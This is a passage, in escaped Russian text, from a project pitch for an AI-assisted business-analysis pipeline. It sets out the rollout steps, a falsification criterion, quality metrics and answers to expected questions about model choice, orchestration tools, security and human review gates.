\u043e\u043f\u0440\u043e\u0432\u0435\u0440\u0436\u0435\u043d\u0438\u044f.\\n\\n**\u0422\u0435\u043a\u0441\u0442.**\\n\\n- \u0428\u0430\u0433 1 \u043d\u0435 \u0442\u0440\u0435\u0431\u0443\u0435\u0442 \u043d\u043e\u0432\u043e\u0439 \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b. Runner \u043d\u0430 \u0410\u0420\u041c \u043d\u0430\u0447\u0438\u043d\u0430\u0435\u0442 \u0441\u0430\u043c\\n  \u0441\u0447\u0438\u0442\u0430\u0442\u044c \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u044b, \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0442\u044c \u0432\u044b\u0445\u043e\u0434 \u043a\u0430\u0436\u0434\u043e\u0433\u043e \u0443\u0437\u043b\u0430 \u0438 \u0443\u043c\u0435\u0442\u044c \u0436\u0434\u0430\u0442\u044c \u043e\u0442\u0432\u0435\u0442\u0430\\n  \u0437\u0430\u043a\u0430\u0437\u0447\u0438\u043a\u0430. \u0417\u0430\u0434\u0430\u0447\u0438 \u0443\u0436\u0435 \u0432\\n  [\u0431\u044d\u043a\u043b\u043e\u0433\u0435](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/ops/backlog.md):\\n  B-211\u2026B-213.\\n- \u0428\u0430\u0433 2 \u2014 \u0437\u0430\u043c\u0435\u0440 \u043d\u0430 10 \u0437\u0430\u0434\u0430\u0447\u0430\u0445. \u041a\u0440\u0438\u0442\u0435\u0440\u0438\u0439 \u043e\u043f\u0440\u043e\u0432\u0435\u0440\u0436\u0435\u043d\u0438\u044f \u0437\u0430\u043f\u0438\u0441\u0430\u043d \u0434\u043e \u0441\u0442\u0430\u0440\u0442\u0430:\\n  \u043c\u0435\u043d\u044c\u0448\u0435 95% \u0448\u0430\u0433\u043e\u0432 \u0441 \u043f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u044b\u043c \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u043e\u043c \u0443\u0437\u043b\u0430 \u0438\u043b\u0438 \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a \u0442\u0440\u0430\u0442\u0438\u0442 \u043d\u0430\\n  \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u0431\u043e\u043b\u044c\u0448\u0435 \u0432\u0440\u0435\u043c\u0435\u043d\u0438, \u0447\u0435\u043c \u043d\u0430 \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u043d\u0438\u0435 \u2014 \u0430\u0440\u0445\u0438\u0442\u0435\u043a\u0442\u0443\u0440\u0430 \u043f\u0435\u0440\u0435\u0441\u043c\u0430\u0442\u0440\u0438\u0432\u0430\u0435\u0442\u0441\u044f.\\n- \u0428\u0430\u0433 3 \u2014 \u0421\u0440\u0435\u0434\u0430 4. \u0417\u0434\u0435\u0441\u044c \u043d\u0443\u0436\u043d\u044b \u0440\u0435\u0448\u0435\u043d\u0438\u044f \u0441 \u0432\u0430\u0448\u0435\u0439 \u0441\u0442\u043e\u0440\u043e\u043d\u044b: \u0432\u044b\u0437\u043e\u0432 Mango AI \u043f\u043e\\n  API \u0438\u0437 \u043a\u043e\u0434\u0430 \u0438 \u043f\u043b\u043e\u0449\u0430\u0434\u043a\u0430 \u0434\u043b\u044f \u0441\u043b\u0443\u0436\u0431\u044b.\\n- \u0427\u0435\u0433\u043e \u043c\u044b \u043d\u0435 \u0434\u0435\u043b\u0430\u0435\u043c: \u043d\u0435 \u0441\u0442\u0440\u043e\u0438\u043c \u044f\u0434\u0440\u043e \u043d\u0430 low-code \u043e\u0440\u043a\u0435\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430\u0445 \u0438 \u043d\u0435 \u043e\u0442\u0434\u0430\u0451\u043c\\n  \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u0430\u043c\u0438 \u0430\u0433\u0435\u043d\u0442\u0443.\\n\\n**\u0417\u0430\u0432\u0435\u0440\u0448\u0435\u043d\u0438\u0435:** \u00ab\u041c\u044b \u043f\u0440\u043e\u0441\u0438\u043c \u043d\u0435 \u0431\u044e\u0434\u0436\u0435\u0442 \u043d\u0430 \u0418\u0418-\u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u0430, \u0430 \u043f\u043b\u043e\u0449\u0430\u0434\u043a\u0443 \u0434\u043b\u044f\\n\u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u0438\u0437\u043c\u0435\u0440\u0438\u043c\u043e\u0439 \u0433\u0438\u043f\u043e\u0442\u0435\u0437\u044b. \u041a\u0440\u0438\u0442\u0435\u0440\u0438\u0439, \u043f\u0440\u0438 \u043a\u043e\u0442\u043e\u0440\u043e\u043c \u043c\u044b \u043f\u0440\u0438\u0437\u043d\u0430\u0435\u043c \u0435\u0451\\n\u043e\u0448\u0438\u0431\u043e\u0447\u043d\u043e\u0439, \u0443\u0436\u0435 \u0437\u0430\u043f\u0438\u0441\u0430\u043d\u00bb.\\n\\n---\\n\\n## \u041e\u0442\u0432\u0435\u0442\u044b \u043d\u0430 \u0432\u0435\u0440\u043e\u044f\u0442\u043d\u044b\u0435 \u0432\u043e\u043f\u0440\u043e\u0441\u044b\\n\\n### \u00ab\u041f\u043e\u0447\u0435\u043c\u0443 \u043d\u0435 \u0432\u0437\u044f\u0442\u044c \u043c\u043e\u0434\u0435\u043b\u044c \u043c\u043e\u0449\u043d\u0435\u0435?\u00bb\\n\\n\u041c\u043e\u0434\u0435\u043b\u044c \u043c\u0435\u043d\u044f\u0435\u0442 \u0447\u0430\u0441\u0442\u043e\u0442\u0443 \u043e\u0448\u0438\u0431\u043e\u043a, \u043d\u043e \u043d\u0435 \u0438\u0445 \u043a\u043b\u0430\u0441\u0441. \u0412\\n[A/B-\u0441\u0440\u0430\u0432\u043d\u0435\u043d\u0438\u0438](https://github.com/G-Ivan-A/mango_ba_prompts/blob/main/docs/report/2026-09-01-run-0065-vs-0066-ab-rca.md)\\n\u043d\u0430 \u043e\u0434\u043d\u0438\u0445 \u0438 \u0442\u0435\u0445 \u0436\u0435 65 \u0441\u0442\u0440\u043e\u043a\u0430\u0445 \u043e\u0434\u043d\u0430 \u043c\u043e\u0434\u0435\u043b\u044c \u0434\u0430\u043b\u0430 43.1% \u0433\u0430\u043b\u043b\u044e\u0446\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445\\n\u043d\u043e\u043c\u0435\u0440\u043e\u0432 \u0441\u0442\u0440\u0430\u043d\u0438\u0446, \u0434\u0440\u0443\u0433\u0430\u044f \u2014 0%. \u041d\u043e \u043a\u043e\u0440\u043d\u0435\u0432\u0430\u044f \u043f\u0440\u0438\u0447\u0438\u043d\u0430 \u0431\u044b\u043b\u0430 \u043d\u0435 \u0432 \u043c\u043e\u0434\u0435\u043b\u0438: \u043d\u043e\u043c\u0435\u0440\u0430\\n\u0441\u0442\u0440\u0430\u043d\u0438\u0446 \u0445\u0440\u0430\u043d\u0438\u043b\u0438\u0441\u044c \u0432 \u0440\u0443\u0447\u043d\u043e\u0439 \u0442\u0430\u0431\u043b\u0438\u0446\u0435, \u0430 \u0432\u0430\u043b\u0438\u0434\u0430\u0442\u043e\u0440 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u043b \u0444\u043e\u0440\u043c\u0430\u0442 \u0441\u0441\u044b\u043b\u043a\u0438, \u0430 \u043d\u0435\\n\u0435\u0451 \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u043d\u0438\u0435. \u041a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 \u0434\u043e\u043b\u0436\u0435\u043d \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0442\u044c \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u043d\u0438\u0435 \u043d\u0435\u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e \u043e\u0442 \u0442\u043e\u0433\u043e,\\n\u043a\u0430\u043a\u0430\u044f \u043c\u043e\u0434\u0435\u043b\u044c \u0441\u0442\u043e\u0438\u0442 \u0437\u0430 \u0448\u0430\u0433\u043e\u043c. \u0422\u043e\u0433\u0434\u0430 \u0441\u043c\u0435\u043d\u0430 \u043c\u043e\u0434\u0435\u043b\u0438 \u2014 \u0432\u043e\u043f\u0440\u043e\u0441 \u0446\u0435\u043d\u044b \u0438 \u0441\u043a\u043e\u0440\u043e\u0441\u0442\u0438, \u0430\\n\u043d\u0435 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0430 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0439.\\n\\n### \u00ab\u041f\u043e\u0447\u0435\u043c\u0443 \u043d\u0435 RAG \u0438\u043b\u0438 fine-tuning?\u00bb\\n\\nRAG \u0440\u0435\u0448\u0430\u0435\u0442 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0437\u043d\u0430\u043d\u0438\u044f\u043c, \u0438 \u043e\u043d \u0432 \u043a\u043e\u043d\u0432\u0435\u0439\u0435\u0440\u0435 \u0435\u0441\u0442\u044c \u2014 \u044d\u0442\u043e \u0448\u0430\u0433 \u0441\u0432\u0435\u0440\u043a\u0438. \u041d\u043e \u0438\u0437\\n\u0447\u0435\u0442\u044b\u0440\u0451\u0445 \u043a\u043b\u0430\u0441\u0441\u043e\u0432 \u043e\u0442\u043a\u0430\u0437\u043e\u0432 \u0442\u043e\u043b\u044c\u043a\u043e \u043e\u0434\u0438\u043d \u0441\u0432\u044f\u0437\u0430\u043d \u0441 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0430\u043c\u0438. \u0413\u0440\u0430\u043d\u0438\u0446\u044b\\n\u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f, \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435 \u043c\u0435\u0436\u0434\u0443 \u0438\u0442\u0435\u0440\u0430\u0446\u0438\u044f\u043c\u0438 \u0438 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u0430\u044f \u043a\u043b\u0430\u0441\u0441\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044f \u2014 \u043d\u0435 \u043f\u0440\u043e\\n\u043f\u043e\u0438\u0441\u043a. \u0414\u043b\u044f fine-tuning \u043d\u0443\u0436\u0435\u043d \u044d\u0442\u0430\u043b\u043e\u043d\u043d\u044b\u0439 \u043d\u0430\u0431\u043e\u0440, \u0430 \u0432 \u043a\u043e\u0440\u043f\u0443\u0441\u0435 17 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u043e\u0432 \u0441 17\\n\u0440\u0430\u0437\u043d\u044b\u043c\u0438 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0430\u043c\u0438: \u0447\u0438\u0441\u0442\u044b\u0445 \u043e\u0431\u0440\u0430\u0437\u0446\u043e\u0432 \u043d\u0435\u0442, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u0437\u043e\u043b\u043e\u0442\u043e\u0439 \u043d\u0430\u0431\u043e\u0440 \u043f\u0440\u0438\u0445\u043e\u0434\u0438\u0442\u0441\u044f\\n\u0441\u0442\u0440\u043e\u0438\u0442\u044c \u0441\u0438\u043d\u0442\u0435\u0442\u0438\u0447\u0435\u0441\u043a\u0438. \u0421\u043d\u0430\u0447\u0430\u043b\u0430 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442, \u043f\u043e\u0442\u043e\u043c \u043e\u0431\u0443\u0447\u0435\u043d\u0438\u0435 \u043d\u0430 \u043d\u0451\u043c.\\n\\n### \u00ab\u0427\u0435\u043c \u044d\u0442\u043e \u043e\u0442\u043b\u0438\u0447\u0430\u0435\u0442\u0441\u044f \u043e\u0442 LangGraph, n8n, Dify?\u00bb\\n\\n\u041c\u044b [\u0441\u0440\u0430\u0432\u043d\u0438\u0432\u0430\u043b\u0438](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-29-ba-ai-process-runtime-options.md).\\nDify, Flowise, Temporal \u0438 Camunda \u043e\u0442\u043a\u043b\u043e\u043d\u0435\u043d\u044b \u043a\u0430\u043a \u044f\u0434\u0440\u043e. n8n \u0434\u043e\u043f\u0443\u0441\u0442\u0438\u043c \u0442\u043e\u043b\u044c\u043a\u043e\\n\u043a\u0430\u043a \u0438\u043d\u0442\u0435\u0433\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u0430\u044f \u043e\u0431\u043e\u043b\u043e\u0447\u043a\u0430: \u0433\u0440\u0430\u0444 \u043f\u0440\u0438\u0448\u043b\u043e\u0441\u044c \u0431\u044b \u043f\u0435\u0440\u0435\u0440\u0438\u0441\u043e\u0432\u044b\u0432\u0430\u0442\u044c, \u0443\u0437\u0435\u043b AI Agent\\n\u043d\u0435\u0434\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d, \u0430 \u0432 \u043d\u0430\u0447\u0430\u043b\u0435 2026 \u0433\u043e\u0434\u0430 \u0443 n8n \u0431\u044b\u043b\u0430 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c\\nCVE-2026-21858 \u0441 CVSS 10.0. LangGraph \u043f\u043e\u0434 \u043b\u0438\u0446\u0435\u043d\u0437\u0438\u0435\u0439 MIT \u2014 \u043a\u0430\u043d\u0434\u0438\u0434\u0430\u0442 \u043d\u0430 \u0431\u043e\u043b\u0435\u0435\\n\u043f\u043e\u0437\u0434\u043d\u0438\u0439 \u044d\u0442\u0430\u043f \u0441\u0435\u0440\u0432\u0435\u0440\u043d\u043e\u0439 \u0441\u0440\u0435\u0434\u044b, \u043d\u043e \u043d\u0435 \u0441\u0435\u0439\u0447\u0430\u0441: \u043d\u0430\u0448 \u0433\u0440\u0430\u0444 \u0438\u0437 15 \u0443\u0437\u043b\u043e\u0432 \u043f\u0440\u043e\u0449\u0435\\n\u0434\u0435\u0440\u0436\u0430\u0442\u044c \u0432 \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u043c \u043a\u043e\u043d\u0435\u0447\u043d\u043e\u043c \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0435.\\n\\n### \u00ab\u041d\u0435 \u0441\u0442\u0430\u043d\u0435\u0442 \u043b\u0438 fail-closed \u0442\u043e\u0440\u043c\u043e\u0437\u043e\u043c \u0434\u043b\u044f \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u0430?\u00bb\\n\\n\u041e\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0430 \u2014 \u043d\u043e\u0440\u043c\u0430\u043b\u044c\u043d\u043e\u0435 \u0441\u043e\u0431\u044b\u0442\u0438\u0435 \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0430, \u0430 \u043d\u0435 \u0430\u0432\u0430\u0440\u0438\u044f: \u0448\u0430\u0433 \u0437\u0430\u0434\u0430\u0451\u0442 \u0432\u043e\u043f\u0440\u043e\u0441, \u0430\\n\u043d\u0435 \u0432\u044b\u0434\u0443\u043c\u044b\u0432\u0430\u0435\u0442. \u0427\u0442\u043e\u0431\u044b \u044d\u0442\u043e \u043d\u0435 \u043f\u0440\u0435\u0432\u0440\u0430\u0442\u0438\u043b\u043e\u0441\u044c \u0432 \u0431\u044e\u0440\u043e\u043a\u0440\u0430\u0442\u0438\u044e, \u0432 \u043a\u0440\u0438\u0442\u0435\u0440\u0438\u0439\\n\u043e\u043f\u0440\u043e\u0432\u0435\u0440\u0436\u0435\u043d\u0438\u044f \u043f\u0440\u044f\u043c\u043e \u0437\u0430\u043f\u0438\u0441\u0430\u043d\u043e: \u0435\u0441\u043b\u0438 \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a \u0442\u0440\u0430\u0442\u0438\u0442 \u043d\u0430 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u0431\u043e\u043b\u044c\u0448\u0435\\n\u0432\u0440\u0435\u043c\u0435\u043d\u0438, \u0447\u0435\u043c \u043d\u0430 \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u043d\u0438\u0435, \u0440\u0435\u0448\u0435\u043d\u0438\u0435 \u043f\u0435\u0440\u0435\u0441\u043c\u0430\u0442\u0440\u0438\u0432\u0430\u0435\u0442\u0441\u044f. \u041f\u0443\u0441\u0442\u044b\u0435 \u0441\u043b\u043e\u0442\u044b \u0441\\n\u043f\u0440\u0438\u0447\u0438\u043d\u043e\u0439 \u0438\u0437\u043c\u0435\u0440\u044f\u044e\u0442\u0441\u044f \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u043e\u0439 \u043c\u0435\u0442\u0440\u0438\u043a\u043e\u0439 `M-5`.\\n\\n### \u00ab\u041a\u0430\u043a \u0432\u044b \u0438\u0437\u043c\u0435\u0440\u044f\u0435\u0442\u0435 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u043e, \u0435\u0441\u043b\u0438 evals \u043d\u0435 \u0431\u044b\u043b\u043e?\u00bb\\n\\n\u0411\u0430\u0437\u043e\u0432\u0430\u044f \u043b\u0438\u043d\u0438\u044f \u0441\u043d\u044f\u0442\u0430 \u0434\u043e \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u044f: `M-1 = 0.0` \u0438 6% \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u0431\u0435\u0437\\n\u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0439 \u043f\u0440\u0430\u0432\u043a\u0438. \u041c\u0435\u0442\u0440\u0438\u043a\u0438 `M-1`\u2026`M-5` \u0438\u0437\u043c\u0435\u0440\u044f\u044e\u0442 \u043f\u0440\u043e\u0433\u043e\u043d \u043f\u0430\u043a\u0435\u0442\u0430. \u041f\u043e\u0440\u043e\u0433\\n\u0443\u0441\u043f\u0435\u0445\u0430 \u0441\u0440\u0435\u0437\u0430 \u0437\u0430\u0434\u0430\u043d \u0437\u0430\u0440\u0430\u043d\u0435\u0435: \u043f\u043e\u043b\u043d\u043e\u0442\u0430 \u0441\u043b\u0435\u0434\u0430 100% \u0438 \u0437\u0430\u043c\u0435\u0442\u043d\u044b\u0439 \u0440\u043e\u0441\u0442 `M-1` \u043f\u0440\u0438\\n\u043d\u0435\u043d\u0443\u043b\u0435\u0432\u043e\u0439 \u0434\u043e\u043b\u0435 \u043c\u0430\u0448\u0438\u043d\u043d\u044b\u0445 \u043e\u0442\u043a\u0430\u0437\u043e\u0432.\\n\\n### \u00ab\u041d\u0430\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u043c\u043e\u0436\u043d\u043e \u0432\u0435\u0440\u0438\u0442\u044c \u0441\u0442\u0430\u0442\u0438\u0441\u0442\u0438\u043a\u0435 69 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432?\u00bb\\n\\n\u041c\u0435\u0442\u0440\u0438\u043a\u0438, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043f\u0440\u043e\u0433\u043e\u043d\u044b \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u043b\u0438 \u0441\u0430\u043c\u0438, \u2014 \u0438\u043d\u0434\u0438\u043a\u0430\u0442\u0438\u0432\u043d\u044b: \u0444\u043e\u0440\u043c\u0430\u0442\u044b \u0440\u0430\u0437\u043d\u044b\u0435, \u0432\\n\u043e\u0434\u043d\u043e\u043c \u0441\u043b\u0443\u0447\u0430\u0435 \u0442\u043e\u043a\u0435\u043d\u044b, \u043f\u043e\u0445\u043e\u0436\u0435, \u0441\u043a\u043e\u043f\u0438\u0440\u043e\u0432\u0430\u043d\u044b \u0438\u0437 \u0434\u0440\u0443\u0433\u043e\u0433\u043e \u043f\u0440\u043e\u0433\u043e\u043d\u0430. \u041f\u043e\u044d\u0442\u043e\u043c\u0443\\n\u0444\u043e\u0440\u0435\u043d\u0437\u0438\u043a\u0430 \u043e\u043f\u0438\u0440\u0430\u0435\u0442\u0441\u044f \u043d\u0435 \u043d\u0430 \u0441\u0430\u043c\u043e\u043e\u0446\u0435\u043d\u043a\u0443, \u0430 \u043d\u0430 \u043d\u0430\u0431\u043b\u044e\u0434\u0430\u0435\u043c\u044b\u0435 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u044b: \u0432\u0445\u043e\u0434\u044b,\\n\u0432\u044b\u0445\u043e\u0434\u044b, \u0434\u0438\u0430\u043b\u043e\u0433\u0438 \u0438 \u043f\u0440\u0430\u0432\u043a\u0438 \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u0430. \u0413\u0434\u0435 \u0434\u0430\u043d\u043d\u044b\u0445 \u043d\u0435\u0442, \u044d\u0442\u043e \u043f\u043e\u043c\u0435\u0447\u0435\u043d\u043e \u043a\u0430\u043a \u043f\u0440\u043e\u0431\u0435\u043b.\\n\\n### \u00ab\u0427\u0442\u043e \u0441 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u044c\u044e \u0438 \u0434\u0430\u043d\u043d\u044b\u043c\u0438?\u00bb\\n\\n\u041c\u043e\u0434\u0435\u043b\u044c \u043e\u0441\u0442\u0430\u0451\u0442\u0441\u044f \u0432 \u043f\u0435\u0440\u0438\u043c\u0435\u0442\u0440\u0435: Mango AI \u0432\u044b\u0437\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u043f\u043e \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u043e\u043c\u0443 API.\\n\u041a\u043b\u044e\u0447\u0438 \u043d\u0435 \u043f\u043e\u043f\u0430\u0434\u0430\u044e\u0442 \u0432 Git, \u0447\u0430\u0442 \u0438\u043b\u0438 \u0441\u043a\u0440\u0438\u043d\u0448\u043e\u0442\u044b. \u0411\u0438\u0437\u043d\u0435\u0441-\u043f\u0440\u043e\u0433\u043e\u043d\u044b \u0438 \u0441\u0435\u043a\u0440\u0435\u0442\u044b\\n\u0438\u0441\u043a\u043b\u044e\u0447\u0435\u043d\u044b \u0438\u0437 \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u043e\u0433\u043e \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u044f. \u0414\u043e\u0441\u0442\u0443\u043f \u043a Jira \u0438 Confluence \u0447\u0435\u0440\u0435\u0437 MCP\\n\u0432\u044b\u0434\u0430\u0451\u0442 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u043e, \u0432 \u0440\u0435\u0436\u0438\u043c\u0435 \u0442\u043e\u043b\u044c\u043a\u043e \u0447\u0442\u0435\u043d\u0438\u044f. \u0410\u0433\u0435\u043d\u0442\u0443 \u0437\u0430\u043f\u0440\u0435\u0449\u0435\u043d\u043e\\n\u043c\u0435\u043d\u044f\u0442\u044c \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u044b, \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u044b \u0438 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u044b \u0432\u043d\u0443\u0442\u0440\u0438 \u0431\u0438\u0437\u043d\u0435\u0441-\u043f\u0440\u043e\u0433\u043e\u043d\u0430.\\n\\n### \u00ab\u041d\u0435 \u0441\u0442\u0430\u043d\u0435\u0442 \u043b\u0438 \u0447\u0435\u043b\u043e\u0432\u0435\u043a \u043d\u0430 \u0433\u0435\u0439\u0442\u0435 \u0443\u0437\u043a\u0438\u043c \u043c\u0435\u0441\u0442\u043e\u043c?\u00bb\\n\\n\u0427\u0435\u043b\u043e\u0432\u0435\u043a \u0440\u0435\u0448\u0430\u0435\u0442 \u0442\u043e\u043b\u044c\u043a\u043e \u0442\u043e, \u0447\u0442\u043e \u043c\u0430\u0448\u0438\u043d\u0430 \u0440\u0435\u0448\u0438\u0442\u044c \u043d\u0435 \u043c\u043e\u0436\u0435\u0442: \u0441\u043c\u044b\u0441\u043b, \u0441\u043f\u043e\u0440\u043d\u044b\u0439 \u0432\u044b\u0431\u043e\u0440,\\n\u043f\u0440\u0438\u0451\u043c\u043a\u0443. \u041c\u0435\u0442\u0440\u0438\u043a\u0430 `M-3` \u043f\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442, \u0441\u043a\u043e\u043b\u044c\u043a\u043e \u043f\u0440\u0430\u0432\u043e\u043a \u0447\u0435\u043b\u043e\u0432\u0435\u043a \u0432\u043d\u043e\u0441\u0438\u0442 \u043f\u043e\u0441\u043b\u0435\\n\u043c\u0430\u0448\u0438\u043d\u043d\u043e\u0433\u043e \u0433\u0435\u0439\u0442\u0430. \u0415\u0441\u043b\u0438 \u043e\u043d\u0430 \u043d\u0435 \u043f\u0430\u0434\u0430\u0435\u0442, \u0437\u043d\u0430\u0447\u0438\u0442, \u043c\u0430\u0448\u0438\u043d\u0430 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 \u043d\u0435 \u0442\u043e.\\n\\n### \u00ab\u0417\u0430\u0447\u0435\u043c \u0434\u0432\u0430 \u043a\u043b\u0438\u0435\u043d\u0442\u0430, GigaCode CLI \u0438 Cline?\u00bb\\n\\n\u042d\u0442\u043e \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u044f \u0441\u0440\u0435\u0434\u044b, \u0430 \u043d\u0435 \u0432\u044b\u0431\u043e\u0440 \u0432\u043a\u0443\u0441\u0430. \u0412 GigaCode CLI \u043d\u0435\u0442 API Mango AI, \u0430\\nCline \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u0441 Mango AI. Source \u043e\u0434\u0438\u043d, \u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0442\u043e\u0440 \u043e\u0431\u0449\u0438\u0439, \u043f\u0430\u043a\u0435\u0442\u044b \u043e\u0442\u043b\u0438\u0447\u0430\u044e\u0442\u0441\u044f\\n\u0430\u0434\u0430\u043f\u0442\u0435\u0440\u0430\u043c\u0438. \u0421\u0435\u0440\u0432\u0435\u0440\u043d\u0430\u044f \u0441\u0440\u0435\u0434\u0430 \u0441\u043d\u0438\u043c\u0430\u0435\u0442 \u044d\u0442\u0443 \u0440\u0430\u0437\u0432\u0438\u043b\u043a\u0443: \u044f\u0434\u0440\u043e \u043e\u0434\u043d\u043e, \u043a\u043b\u0438\u0435\u043d\u0442 \u2014\\n\u0442\u043e\u043b\u044c\u043a\u043e \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441 \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u0430.\\n\\n### \u00ab\u0427\u0442\u043e \u0434\u043e\u043a\u0430\u0437\u0430\u043d\u043e, \u0430 \u0447\u0442\u043e \u043d\u0435\u0442?\u00bb\\n\\n\u0414\u043e\u043a\u0430\u0437\u0430\u043d\u043e: \u043c\u0430\u0448\u0438\u043d\u043d\u044b\u0439 \u043e\u0442\u0440\u0435\u0437\u043e\u043a \u0434\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d; fail-closed \u043f\u0440\u0430\u0432\u0438\u043b\u043e \u043d\u0430 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445\\n\u043f\u0440\u043e\u0433\u043e\u043d\u0430\u0445 \u043f\u0440\u0435\u0434\u043e\u0442\u0432\u0440\u0430\u0449\u0430\u043b\u043e \u0432\u044b\u0434\u0443\u043c\u044b\u0432\u0430\u043d\u0438\u0435; \u043e\u0434\u0438\u043d \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442 \u0432\u044b\u0445\u043e\u0434\u0430 \u043f\u043e\u0434\u0445\u043e\u0434\u0438\u0442 \u0434\u043b\u044f\\n\u0440\u0430\u0437\u043d\u044b\u0445 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432. \u041d\u0435 \u0434\u043e\u043a\u0430\u0437\u0430\u043d\u043e: \u0441\u043a\u0432\u043e\u0437\u043d\u043e\u0439 \u043f\u0440\u043e\u0433\u043e\u043d \u043d\u0430 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0437\u0430\u0434\u0430\u0447\u0430\u0445 \u0432 \u0434\u0432\u0443\u0445\\n\u043a\u043b\u0438\u0435\u043d\u0442\u0430\u0445 \u2014 \u044d\u0442\u043e \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u0439 gate\\n[RFC \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u043d\u0430 \u043f\u0438\u043b\u043e\u0442\u0435](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/rfc/2026-09-source-pilot-verification.md).\\n\u0421\u043c\u044b\u0441\u043b\u043e\u0432\u0430\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u043f\u043e\u043a\u0430 \u0447\u0430\u0441\u0442\u0438\u0447\u043d\u043e \u0434\u0435\u0440\u0436\u0438\u0442\u0441\u044f \u043d\u0430 \u0441\u0430\u043c\u043e\u0434\u0435\u043a\u043b\u0430\u0440\u0430\u0446\u0438\u0438 \u043c\u043e\u0434\u0435\u043b\u0438:\\n\u043c\u0430\u0448\u0438\u043d\u0430 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 \u043d\u0430\u043b\u0438\u0447\u0438\u0435 \u043e\u0442\u043c\u0435\u0442\u043a\u0438 